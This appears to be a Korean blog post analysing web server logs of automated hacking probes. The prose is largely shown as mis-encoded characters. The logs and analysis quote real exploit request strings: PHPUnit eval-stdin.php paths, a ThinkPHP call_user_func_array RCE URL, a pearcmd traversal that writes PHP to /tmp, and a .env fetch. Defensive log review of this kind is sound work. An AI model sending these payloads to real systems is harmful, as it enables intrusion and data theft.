728x90

์˜ค๋Š˜์˜ ํ•ดํ‚น ์ •ํ™ฉ

 

๋”๋ณด๊ธฐ

"GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 943 "backend not found" "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 944 "backend not found" "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"
"GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 945 "backend not found" "/vendor/phpunit/src/Util/PHP/eval-stdin.php"
"GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 946 "backend not found" "/vendor/phpunit/Util/PHP/eval-stdin.php"
"GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 947 "backend not found" "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"
"GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 948 "backend not found" "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 949 "backend not found" "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 950 "backend not found" "/phpunit/phpunit/Util/PHP/eval-stdin.php"
"GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 951 "backend not found" "/phpunit/src/Util/PHP/eval-stdin.php"
"GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 952 "backend not found" "/phpunit/Util/PHP/eval-stdin.php"
"GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 953 "backend not found" "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 954 "backend not found" "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"
"GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 955 "backend not found" "/lib/phpunit/src/Util/PHP/eval-stdin.php"
"GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 956 "backend not found" "/lib/phpunit/Util/PHP/eval-stdin.php"
"GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 957 "backend not found" "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 958 "backend not found" "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 959 "backend not found" "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 960 "backend not found" "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 961 "backend not found" "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 962 "backend not found" "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 963 "backend not found" "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 964 "backend not found" "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 965 "backend not found" "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 966 "backend not found" "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 967 "backend not found" "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 968 "backend not found" "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 969 "backend not found" "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 970 "backend not found" "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 971 "backend not found" "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 972 "backend not found" "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 973 "backend not found" "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 974 "backend not found" "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 975 "backend not found" "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 976 "backend not found" "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 977 "backend not found" "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 978 "backend not found" "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 979 "backend not found" "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 980 "backend not found" "/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello"
"GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 981 "backend not found" "/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello"
"GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php"
"GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" 983 "backend not found" "/index.php?lang=../../../../../../../../tmp/index1"
"GET /.env HTTP/1.1" 404 19 "-" "Mozilla/5.0 (X11; Linux x86_64)" 984 "backend not found" "/.env"
"GET / HTTP/1.1" 404 19 "-" "Hello World" 985 "backend not found" "/
"GET /admin/login.asp HTTP/1.1" 404 19 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 986 "backend not found" "/admin/login.asp"
"GET /admin/login.asp HTTP/1.1" 404 19 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 987 "backend not found" "/admin/login.asp"
"GET /favicon.ico HTTP/1.1" 404 19 "http://119.205.236.169/admin/login.asp" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 988 "backend not found" "/favicon.ico"

 

์˜ค๋Š˜๋„ ์–ด๊น€์—†์ด ์—ฌ๋Ÿฌ ๊ตญ๊ฐ€์—์„œ ๋ฌธ์„ ์—ด๊ณ  ๋“ค์–ด์˜ฌ๋ ค๊ณ  ์‹œ๋„ํ•˜๋Š” ๋กœ๊ทธ๋ฅผ ๊ธฐ๋กํ–ˆ๋‹ค. ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ˆ˜์ค€์—์„œ ๋ฐ์ดํ„ฐ ์†Œ์Šค๋ฅผ ๋‚จ๊ธฐ๋Š” ์ผ์€ ์ด์ œ ์„ ํƒ์ด ์•„๋‹ˆ๋ผ ํ•„์ˆ˜๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ฐœ๋ฐœ์„ ํ•˜๋ฉด์„œ ์ž˜๋ชจ๋ฅด๋‹ˆ ์ฃผ๋จน๊ตฌ๊ตฌ์‹์œผ๋กœ ์ด๊ฑฐ ์ €๊ฑฐ ๋Œ€์ž…ํ•˜๋Š” ์‹์˜ ๊ฐœ๋ฐœ๋กœ ์‹œ์ž‘ํ•˜๋ฉด ์ฒ˜์Œ์—๋Š” ๋น ๋ฅผ๊ฒƒ๊ฐ™๋˜ ์†๋„๊ฐ€ ๊ทœ๋ชจ๊ฐ€ ์ปค์ง€๋ฉด ์ ์  ๋”๋ŽŒ์ง€๋Š” ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ ‡๋“ฏ ๋กœ๊ทธ๋Š” ์ •๋ง ์ค‘์š”ํ•˜๋‹ค.


๋กœ๊ทธ  ๋ถ„์„

1. PHPUnit Exploits

PHPUnit์€ PHP๋กœ ์ž‘์„ฑ๋œ ๋‹จ์œ„ ํ…Œ์ŠคํŠธ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ํ•ด์ปค๋“ค์€ ์ข…์ข… PHPUnit์ด ์„ค์น˜๋œ ์„œ๋ฒ„์—์„œ ํŠน์ • ํŒŒ์ผ์„ ํ†ตํ•ด ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. (5์ ๋Œ€ ์ดํ•˜์˜ php ๋ฒ„์ „์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋ฉฐ vender ์•ˆ์— ํŒจํ‚ค์ง€ ํŒŒ์ผ๊ณผ ์žก๋‹คํ•œ ํŒŒ์ผ๋“ค์ด ๋“ค์–ด์žˆ์–ด ์—ฌ๊ธฐ๋กœ ์ ‘๊ธดํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ํƒˆ์ทจํ•˜๋ ค๋Š” ์‹œ๋„์ด๋‹ค.)

  • ํŒŒ์ผ ํƒ์ƒ‰ ์‹œ๋„: ๋‹ค์–‘ํ•œ ๊ฒฝ๋กœ์—์„œ eval-stdin.php ํŒŒ์ผ์„ ์š”์ฒญํ•จ์œผ๋กœ์จ ํ•ด๋‹น ํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ์ทจ์•ฝ์ (CVE-2017-9841)๊ณผ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
      /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
      /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
      /phpunit/phpunit/src/Util/PHP/eval-stdin.php
      /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
      /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
      /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. ThinkPHP Exploits

ThinkPHP๋Š” ์ค‘๊ตญ์—์„œ ์ธ๊ธฐ ์žˆ๋Š” PHP ์›น ํ”„๋ ˆ์ž„์›Œํฌ์ž…๋‹ˆ๋‹ค. ํ•ด์ปค๋“ค์€ ์ข…์ข… ThinkPHP์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

  • ๊ฒฝ๋กœ ์กฐ์ž‘ ๋ฐ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ์‹œ๋„: ํŠน์ • URL ํŒจํ„ด์„ ํ†ตํ•ด call_user_func_array ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
      /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello
      /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello

3. Directory Traversal ๋ฐ Local File Inclusion (LFI)

๋””๋ ‰ํ† ๋ฆฌ ํŠธ๋ž˜๋ฒ„์„ค ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์„œ๋ฒ„์˜ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

  • ๋””๋ ‰ํ† ๋ฆฌ ํŠธ๋ž˜๋ฒ„์„ค ์‹œ๋„: ์„œ๋ฒ„์˜ ๋‹ค๋ฅธ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์ ‘๊ทผํ•˜์—ฌ ํŠน์ • ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
      /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php
      /index.php?lang=../../../../../../../../tmp/index1

4. ํ™˜๊ฒฝ ํŒŒ์ผ ์ ‘๊ทผ ์‹œ๋„

.env ํŒŒ์ผ์€ ํ™˜๊ฒฝ ์„ค์ • ์ •๋ณด๋ฅผ ๋‹ด๊ณ  ์žˆ์œผ๋ฉฐ, ๋…ธ์ถœ๋  ๊ฒฝ์šฐ ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ˜‘์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ํ™˜๊ฒฝ ํŒŒ์ผ ์ ‘๊ทผ ์‹œ๋„: ์„œ๋ฒ„์˜ .env ํŒŒ์ผ์„ ์ง์ ‘ ์š”์ฒญํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์–ป์œผ๋ ค๋Š” ์‹œ๋„์ž…๋‹ˆ๋‹ค.
      /.env

5. ๊ธฐ๋ณธ ํŽ˜์ด์ง€ ๋ฐ ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ ‘๊ทผ ์‹œ๋„

๊ณต๊ฒฉ์ž๋Š” ์ข…์ข… ๊ธฐ๋ณธ ํŽ˜์ด์ง€ ๋ฐ ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜์—ฌ ์ธ์ฆ์„ ์šฐํšŒํ•˜๊ฑฐ๋‚˜ ๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

  • ๊ธฐ๋ณธ ํŽ˜์ด์ง€ ์ ‘๊ทผ ์‹œ๋„: ์„œ๋ฒ„์˜ ๊ธฐ๋ณธ ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • / HTTP/1.1" 404 19 "-" "Hello World
  • ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ ‘๊ทผ ์‹œ๋„: ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • /admin/login.asp
  • Favicon ์ ‘๊ทผ ์‹œ๋„: ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€์˜ favicon.ico ํŒŒ์ผ์— ์ ‘๊ทผํ•˜์—ฌ ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€์˜ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • /favicon.ico

์ด์™€ ๊ฐ™์€ ๋กœ๊ทธ๋Š” ์„œ๋ฒ„์˜ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ํƒ์ƒ‰ํ•˜๊ณ  ์•…์šฉํ•˜๋ ค๋Š” ํ•ดํ‚น ์‹œ๋„๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ํ•ด๋‹น ๋กœ๊ทธ๋ฅผ ํ†ตํ•ด ํ•ดํ‚น ์‹œ๋„๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ์ ์ ˆํ•œ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์ทจํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

๋ฐ˜์‘ํ˜•
๋‹คํ–ˆ๋‹ค